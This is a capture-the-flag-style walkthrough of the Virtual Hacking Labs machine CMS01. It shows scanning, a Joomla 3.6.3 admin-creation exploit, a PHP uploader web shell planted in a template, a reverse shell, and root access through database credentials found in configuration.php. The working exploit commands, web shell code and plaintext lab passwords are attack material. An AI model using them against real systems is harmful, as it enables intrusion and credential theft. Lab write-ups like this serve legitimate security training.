CMS01 — VHL (10.11.1.177)

sudo rustscan -a 10.11.1.177 -- -A -sC

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#os:linux#tech:rce#tech:file-upload#tech:cve#tech:password-attack

CMS01 — VHL (10.11.1.177)

#Intial Access was with Creating Admin User https://www.exploit-db.com/exploits/41157 #Got a webshell with https://vk9-sec.com/reverse-shell-on-any-cms/ and from there was able to find Root Credentials and SSH into the box!

Information Gathering

🐺 howlsec@kalishell

$#Port Enumeration
$sudo rustscan -a 10.11.1.177 -- -A -sC
$ 
$21/tcp   open  ftp      syn-ack ttl 63 vsftpd 2.2.2
$| ftp-syst: 
$|   STAT: 
$| FTP server status:
$|      Connected to 172.16.1.1
$|      Logged in as ftp
$|      TYPE: ASCII
$|      No session bandwidth limit
$|      Session timeout in seconds is 300
$|      Control connection is plain text
$|      Data connections will be plain text
$|      At session startup, client count was 2
$|      vsFTPd 2.2.2 - secure, fast, stable
$|_End of status
$| ftp-anon: Anonymous FTP login allowed (FTP code 230)
$|_Can't get directory listing: ERROR
$ 
$22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 5.3 (protocol 2.0)
$| ssh-hostkey: 
$|   1024 d8:7c:9d:f7:47:c1:f3:60:88:ad:a4:85:f3:f1:85:b7 (DSA)
$| ssh-dss AAAAB3NzaC1kc3MAAACBAIu5BR1vZuz5dF/tbJcVDBleWbsdpd0ghwK5I3rCIxvIcAxdWpYEmHE6pq+XoOlM3T1m220iK1digH1gRfaB+U2CMLIcwL/556GsrCE/7axgFmoLm0+kK9Ntf4KLWccXotWM+4lVAwvSJ1GOhhkDLhgd1tZN9Jq8PF4Zt/aC6W4hAAAAFQD0BCktlFBTNqMA2cjAkn++PAVKeQAAAIAeKn65kF7HqelsHIu71sAlCQJTr1Fv3y/f6QNPdMFTVGfBOU92yYWGamT7G/pM/rwOQOrEAG28zxeTRgn6Uex5H1tsigTaiHssHq3Y+GsCUR9w1XuSbK7DvrqCVhcB92m9TJ9l7wghmUgJ71yc/8AW2kZUgVjPArLjr3PXDqmVWQAAAIADJo3oT+s6ZIpeYeHPd+FjlXc6RnOEONnFe6A/NWm6xIH8nv/0i9/63AsWCPuQ1Sz0wSmp9xN37GC9ebzSigCCIYM3Fms1W5OzvcDmLN/cQ++Sw2Rcd51nFyjFLhWKMutnER1Jr9qi0r0SX8tDIbuhlF9/fVj9YnX4gVpaL6IZFQ==
$|   2048 e3:fb:0f:74:d5:c1:ce:f1:73:a0:f0:16:ed:f4:e3:dd (RSA)
$|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmufb59tLPNyuq6UG7JJoOPqVG6+KtG7k7CxBzihGe8YmiE22Tbg5B23wzhyWRk3dVd4imGTJODe314c3IoqlWs+mvES5Mct+vVAIWIz2iiLps6NZUgS/W9dOELxhCv3PD+osfPQcHif6ueyE5p/wKM2hY6B6YWbjkNl9CkSEXwC7qbhrgolkAhrV8HGdipOi12oHPpoPRQk47uJ1sgGiL83pXD4ghI+5SiXr8/XbKZKSrVHqo8JQCXfgpT0TQ+hYsTNvrtLtf+W8TmVqOWUV9tN1pTTn1MGErK7cMwF2XdXiBsGoAbNb/xQTvlyqvs/Sln4R6kl7i6aUAFXZJ8OFiw==
$ 
$80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.2.15 ((CentOS))
$|_http-generator: Joomla! - Open Source Content Management
$|_http-title: Home
$|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
$| http-methods: 
$|_  Supported Methods: GET POST OPTIONS
$ 
$443/tcp  open  ssl/http syn-ack ttl 63 Apache httpd 2.2.15 ((CentOS))
$| http-methods: 
$|_  Supported Methods: HEAD POST OPTIONS
$| ssl-cert: Subject: commonName=cms01/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/emailAddress=root@cms01/localityName=SomeCity
$| Issuer: commonName=cms01/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/emailAddress=root@cms01/localityName=SomeCity
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2016-11-20T16:32:24
$| Not valid after:  2017-11-20T16:32:24
$| MD5:   cca6:c883:a82a:0ec1:209a:98a0:d358:1de2
$| SHA-1: d076:22cf:5ab0:c7de:457a:f448:8f61:dc9a:7e84:b353
$|_http-server-header: Apache/2.2.15 (CentOS)
$|_http-title: Home
$|_ssl-date: 2025-10-03T00:46:42+00:00; -2s from scanner time.
$|_http-generator: Joomla! - Open Source Content Management
$ 
$3306/tcp open  mysql    syn-ack ttl 63 MySQL (unauthorized)

FTP(21) {toggle="true"}

🐺 howlsec@kalicode

01```shell

#FTP nothing of interest, no anonymous and cant upload file ftp 10.11.1.177 21
Connected to 10.11.1.177. 220 (vsFTPd 2.2.2) Name (10.11.1.177:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||5733|). ftp: Can't connect to `10.11.1.177:5733': No route to host 200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jul 24 2015 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls 200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. 226 Directory send OK. ftp> ls -la 200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jul 24 2015 . drwxr-xr-x 3 0 0 4096 Nov 20 2016 .. 226 Directory send OK. ftp> EPSV ?Invalid command. ftp>

🐺 howlsec@kalicode

01```

Web (80) Jomla 3.6.3 {toggle="true"}

🐺 howlsec@kalicode

01```shell

#Nikto nikto -h http://10.11.1.177

Nikto v2.5.0

Target IP: 10.11.1.177
Target Hostname: 10.11.1.177
Target Port: 80
Start Time: 2025-10-03 09:42:26 (GMT-4)

Server: Apache/2.2.15 (CentOS)
/: Retrieved x-powered-by header: PHP/5.5.38.
/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
/bin/: Server may leak inodes via ETags, header found with file /bin/, inode: 261695, size: 31, mtime: Mon Oct 17 08:39:27 2016. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
/images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.0.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
/: Web Server returns a valid response with junk HTTP methods which may cause false positives.
/: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2047
/administrator/: This might be interesting.
/bin/: This might be interesting.
/includes/: This might be interesting.
/tmp/: This might be interesting.
/manual/: Web server manual found.
/icons/: Directory indexing found.
/manual/images/: Directory indexing found.
/LICENSE.txt: License file found may identify site software.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
/administrator/index.php: Admin login page/section found.
/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
9716 requests: 0 error(s) and 22 item(s) reported on remote host
End Time: 2025-10-03 09:49:24 (GMT-4) (418 seconds) #Whatweb whatweb http://10.11.1.177
http://10.11.1.177 [200 OK] Apache[2.2.15], Bootstrap, Cookies[3bead486b40a9e9a1dff40fad3b181a3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.2.15 (CentOS)], HttpOnly[3bead486b40a9e9a1dff40fad3b181a3], IP[10.11.1.177], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PHP[5.5.38], PasswordField[password], Script, Title[Home], X-Powered-By[PHP/5.5.38] undefined

Ferox (80) {toggle="true"}

🐺 howlsec@kalicode

01```shell

feroxbuster -u http://10.11.1.177 -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 15

🐺 howlsec@kalicode

01```

Initial Foothold with https://www.exploit-db.com/exploits/41157 and https://vk9-sec.com/reverse-shell-on-any-cms/

🐺 howlsec@kalishell

$#Password brute force on http://10.11.1.177/administrator/
$─(kali㉿kali)-[~/VHL/cms01]
$└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 10.11.1.177 http-get /administrator
$Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
$ 
$Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-03 10:37:01
$[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
$[DATA] attacking http-get://10.11.1.177:80/administrator
$[80][http-get] host: 10.11.1.177   login: admin   password: 123456
$[STATUS] attack finished for 10.11.1.177 (valid pair found)
$1 of 1 target successfully completed, 1 valid password found
$Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-03 10:37:02
$ 
$Username and password do not match or you do not have an account yet. #Could not brute force the password
$ 
$#Focused on exploit https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40637.zip
$wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40637.zip
$#unzip 40637.py and chmod +x joomraa.py then run it and it should create an admin user even if you get a fail
$python2 joomraa.py -u hacker -p password -e hacker@example.com http://10.11.1.177

(screenshot omitted) Logged in in the portal as hacker : password and found another set of credentials for Super User administrator : joomlaadministrator (screenshot omitted) Go to Extensions > Templates > Templates > Protostar

(screenshot omitted)

🐺 howlsec@kalishell

$#Tried Uploading this php code to get uploader on the Joomla (You can also directly upload rev.shell from pentester monkey which I did)
$https://pastebin.com/qCa0qx0X
$<?php echo '<b>
$ 
$'.php_uname().'
$</b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Successfull !</b>
$ 
$'; } else { echo '<b>Upload Failed !!!</b>
$ 
$'; } } ?>
$#Then Browse it and upload your webshell.php
$http://10.11.1.177/templates/protostar/lazar.php/shell.pHp

(screenshot omitted)

🐺 howlsec@kalishell

$#Set a listener and got a webshell!
$sh-4.1$ cat configuration.php
$cat configuration.php
$<?php
$class JConfig {
$        public $offline = '0';
$        public $offline_message = 'This site is down for maintenance.
$Please check back again soon.';
$        public $display_offline_message = '1';
$        public $offline_image = '';
$        public $sitename = 'Joomla 3.6.3 Test Site';
$        public $editor = 'tinymce';
$        public $captcha = '0';
$        public $list_limit = '20';
$        public $access = '1';
$        public $debug = '0';
$        public $debug_lang = '0';
$        public $dbtype = 'mysqli';
$        public $host = 'localhost';
$        public $user = 'root';
$        public $password = 'root1988';
$        public $db = 'joomla';
$        public $dbprefix = 'yk3ym_';
$        public $live_site = '';
$        public $secret = 'i5X5ltoz8LACyLu8';
$        public $gzip = '0';
$        public $error_reporting = 'default';
$        public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
$        public $ftp_host = '127.0.0.1';
$        public $ftp_port = '21';
$        public $ftp_user = '';
$        public $ftp_pass = '';
$        public $ftp_root = '';
$        public $ftp_enable = '0';
$        public $offset = 'UTC';
$        public $mailonline = '1';
$        public $mailer = 'mail';
$        public $mailfrom = 'administrator@cms01.local';
$        public $fromname = 'Joomla 3.6.3 Test Site';
$        public $sendmail = '/usr/sbin/sendmail';
$        public $smtpauth = '0';
$        public $smtpuser = '';
$        public $smtppass = '';
$        public $smtphost = 'localhost';
$        public $smtpsecure = 'none';
$        public $smtpport = '25';
$        public $caching = '0';
$        public $cache_handler = 'file';
$        public $cachetime = '15';
$        public $cache_platformprefix = '0';
$        public $MetaDesc = '';
$        public $MetaKeys = '';
$        public $MetaTitle = '1';
$        public $MetaAuthor = '1';
$        public $MetaVersion = '0';
$        public $robots = '';
$        public $sef = '1';
$        public $sef_rewrite = '0';
$        public $sef_suffix = '0';
$        public $unicodeslugs = '0';
$        public $feed_limit = '10';
$        public $feed_email = 'none';
$        public $log_path = '/var/www/html/administrator/logs';
$        public $tmp_path = '/var/www/html/tmp';
$        public $lifetime = '15';
$        public $session_handler = 'database';
$#Found Credentials foor root user!

Privesc - Found Credentials in the configuration.php that gave me Root Access

🐺 howlsec@kalishell

$#Tried SSHing into the box
$(kali㉿kali)-[~/.ssh]
$└─$ ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa root@10.11.1.177
$The authenticity of host '10.11.1.177 (10.11.1.177)' can't be established.
$RSA key fingerprint is SHA256:1foWvATWS8PRgfh7ya6is90fTxN/7PH2p+qx7xAvikI.
$This key is not known by any other names.
$Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
$Warning: Permanently added '10.11.1.177' (RSA) to the list of known hosts.
$root@10.11.1.177's password: 
$Last login: Tue Apr  6 09:36:10 2021
$[root@cms01 ~]# cd /root
$[root@cms01 ~]# cat key.txt
$cvxdxsy3cjhhbk0zbfuf
$[root@cms01 ~]#

(screenshot omitted)